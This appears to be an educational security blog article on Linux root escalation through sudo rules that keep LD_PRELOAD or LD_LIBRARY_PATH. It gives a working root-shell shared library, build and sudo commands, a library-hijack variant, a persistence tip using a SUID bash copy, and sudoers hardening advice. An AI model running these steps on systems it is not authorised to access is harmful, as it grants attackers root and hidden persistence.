Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
LD_PRELOAD and LD_LIBRARY_PATH are dynamic-linker environment variables that let a process load extra shared objects, or search extra directories for them, before the normal library resolution order runs. They exist for legitimate reasons — debugging, malloc interposition, profiling — but they are also one of the oldest and most reliable Linux privilege escalation primitives, because on most systems the dynamic linker treats them as pure environment state with no privilege check of its own. The check has to happen somewhere else: in the kernel (for real SUID/SGID binaries the linker disables LD_PRELOAD outright) or in sudo‘s environment scrubbing. When either of those gates is misconfigured, a low-privileged user can force arbitrary attacker-controlled code to execute inside a process that is about to run as root.
The most common real-world trigger is a sudo rule that lets a user run some command as root while also preserving LD_PRELOAD (or LD_LIBRARY_PATH) from the invoking shell’s environment — usually via env_keep or a blanket SETENV tag. The attacker does not need the target command to be vulnerable in any way; any dynamically linked binary will do, because the malicious library’s constructor runs as soon as the binary starts, before main() and before the target binary has done anything at all. That makes this one of the fastest root-to-shell techniques once the misconfiguration is found — a two-line C file, one gcc invocation, and one sudo call.
Attack Prerequisites
This is purely a sudo/environment-trust issue, not a kernel bug, so the requirements are narrow but specific:
- Passwordless or accessible
sudorights to run at least one command as root (sudo -lshows the entry). - Environment passthrough enabled for the vector variable — either
Defaults env_keep+="LD_PRELOAD"(orLD_LIBRARY_PATH) insudoers, or thesudorule itself carries theSETENVtag, which lets the *user* set arbitrary environment variables (includingLD_PRELOAD) for the sudo’d command regardless of the globalenv_keeplist. - A local compiler or a pre-built
.soto produce the malicious shared object (or the ability toscp/curlone in). - The target command must be dynamically linked (i.e. not statically compiled and not itself SUID/SGID, since the kernel strips
LD_PRELOADfor real SUID/SGID execution paths regardless ofsudo).
How It Works
When a dynamically linked ELF binary starts, control passes first to ld.so, the dynamic linker, before the program’s own main() runs. ld.so reads LD_PRELOAD and, for every shared object it lists, loads that object into the process *before* resolving symbols from the C library or the program’s normal linked libraries. Any function in a preloaded object marked with __attribute__((constructor)) is guaranteed to execute automatically at load time, before the target program’s main() ever runs. Because the preload happens inside the same process image that is about to execve() into (or already is) the privileged command, the constructor inherits whatever UID that process runs as — root, if launched via sudo.
Normally this is not exploitable through sudo because sudo performs environment scrubbing by default (Defaults env_reset): it resets the environment to a minimal, safe set and only re-imports variables that are explicitly whitelisted in env_keep. LD_PRELOAD and LD_LIBRARY_PATH are not in the default keep-list precisely because they are known injection vectors. The vulnerability appears when an administrator adds them anyway — commonly while debugging a broken build under sudo and forgetting to revert the change — or grants a rule the SETENV tag, which overrides env_reset entirely for that rule and lets the invoking user supply *any* environment variable, preload included, on the command line itself.
LD_LIBRARY_PATH is the softer sibling of the same bug: instead of pointing at a specific .so, it adds a search directory that ld.so checks before the standard library path. If the target binary is linked against a library by soname only (e.g. libutil.so.1) and the attacker can plant a same-named malicious library in a directory listed in LD_LIBRARY_PATH, the linker loads the attacker’s copy instead of the real system library — same outcome, different vector, and it works even against binaries that never reference LD_PRELOAD at all.
Vulnerable Code / Configuration
The root cause always lives in /etc/sudoers (or a drop-in under /etc/sudoers.d/). Two variants are equally exploitable. First, an explicit env_keep addition for the preload variables:
# /etc/sudoers -- VULNERABLE: preload/library-path survive sudo's env reset
Defaults env_reset
Defaults env_keep += "LD_PRELOAD LD_LIBRARY_PATH"
dave ALL=(root) NOPASSWD: /usr/bin/somecommand
TEXTSecond, and more commonly seen in the wild, a rule that carries SETENV (or the equivalent NOPASSWD:SETENV), which lets the invoking user pass *any* environment variable through to the sudo’d command, bypassing env_keep filtering entirely — this is easy to miss during a sudoers review because the danger is not obvious from the tag name:
# /etc/sudoers -- VULNERABLE: SETENV lets the caller set LD_PRELOAD directly
dave ALL=(root) SETENV: NOPASSWD: /usr/bin/somecommand
TEXTEither line is enough. sudo -l reveals the misconfiguration directly to the user it applies to, which is why it is one of the first things to check during local enumeration:
$ sudo -l
Matching Defaults entries for dave on target:
env_keep+="LD_PRELOAD LD_LIBRARY_PATH", env_reset
User dave may run the following commands on target:
(root) NOPASSWD: /usr/bin/somecommand
BashWalkthrough / Exploitation
First, write a minimal shared library whose constructor spawns a root shell. __attribute__((constructor)) marks pwn() to run automatically when the library is loaded, before the target program’s own code:
// preload.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) pwn() {
setuid(0);
setgid(0);
system("/bin/sh -p");
}
CCompile it as a position-independent shared object — this is the exact invocation GTFOBins and every real-world writeup uses:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
# -fPIC : position-independent code, required for a shared object
# -shared : build a .so instead of an executable
# -nostartfiles is optional; safe to drop if the target lacks a full toolchain
BashThen invoke the permitted sudo command while setting LD_PRELOAD on the command line. Because the rule keeps (or allows setting) that variable, sudo passes it straight through to the privileged process:
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/somecommand
# constructor fires as root before somecommand's own main() runs
# id
uid=0(root) gid=0(root) groups=0(root)
BashIf only LD_LIBRARY_PATH is preserved (not LD_PRELOAD), identify a shared library the target binary loads by soname (ldd /usr/bin/somecommand), build a malicious replacement exporting the same symbols with a constructor added, drop it in a writable directory, and point the search path at it:
ldd /usr/bin/somecommand # find a hijackable soname, e.g. libhelper.so.1
gcc -fPIC -shared -o /tmp/libhelper.so.1 preload.c
sudo LD_LIBRARY_PATH=/tmp /usr/bin/somecommand
BashNote: Statically linked and real SUID/SGID binaries are immune to both variables:
ld.soexplicitly ignoresLD_PRELOAD/LD_LIBRARY_PATH(or honors only fully-trusted, root-owned paths for it) whenever the secure-execution flag (AT_SECURE) is set for the process, which the kernel sets for any real SUID/SGID execve. This technique only works throughsudobecausesudo‘s own environment handling — not the kernel’s — is what decides whether the variable survives.
Opsec:
sudologs every invocation, including the full command line and any environment variables it decided to keep, to/var/log/auth.logor viasyslog/journald; on systems withsudoI/O logging enabled the shell spawned from the constructor is also transcript-logged. A quieter variant for engagement work is to have the constructor write a UID-0-owned SUID copy of/bin/bashto a stable location rather than spawning an interactive shell directly, so re-entry does not require repeating the sudo call.
Detection and Defense
The fix is configuration hygiene in sudoers, and it is cheap to apply:
- Never add
LD_PRELOAD,LD_LIBRARY_PATH,LD_AUDIT,LD_ORIGIN_PATH, orBASH_ENVtoenv_keep. KeepDefaults env_resetin force with no loader-related additions. - Avoid the
SETENVtag on any rule that doesn’t specifically require it; it silently defeatsenv_keepfiltering for that command. - Set
Defaults secure_pathsosudooverrides the invoking user’sPATHwith a fixed, trusted value for the duration of the privileged command. - Audit with
sudo -las every user, and grep sudoers/drop-ins forenv_keep,SETENV, and!env_resetduring configuration review. - Log review —
auth.log/journalctl -u sudoentries showingLD_PRELOAD=orLD_LIBRARY_PATH=on asudocommand line are a strong indicator of active exploitation and should alert.
Real-World Impact
This exact technique is documented as a standard sudo bypass in GTFOBins under nearly every dynamically linked binary’s sudo function (the “preserve environment” case), and it is one of the most frequent local privilege escalation findings in internal penetration tests and CTF-style assessments, precisely because env_keep/SETENV misconfigurations are easy to introduce during debugging and easy to overlook during review — a single leftover line in a sudoers drop-in is enough to hand out root.
Conclusion
LD_PRELOAD and LD_LIBRARY_PATH abuse via sudo is a textbook example of how a debugging convenience becomes a root shell: the dynamic linker was never designed to be a privilege boundary, so any path that lets those variables cross into a root-run process — an env_keep addition or a SETENV tag — collapses sudo‘s isolation completely. Strict env_reset, a minimal env_keep, and routine sudo -l auditing close the gap for good.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments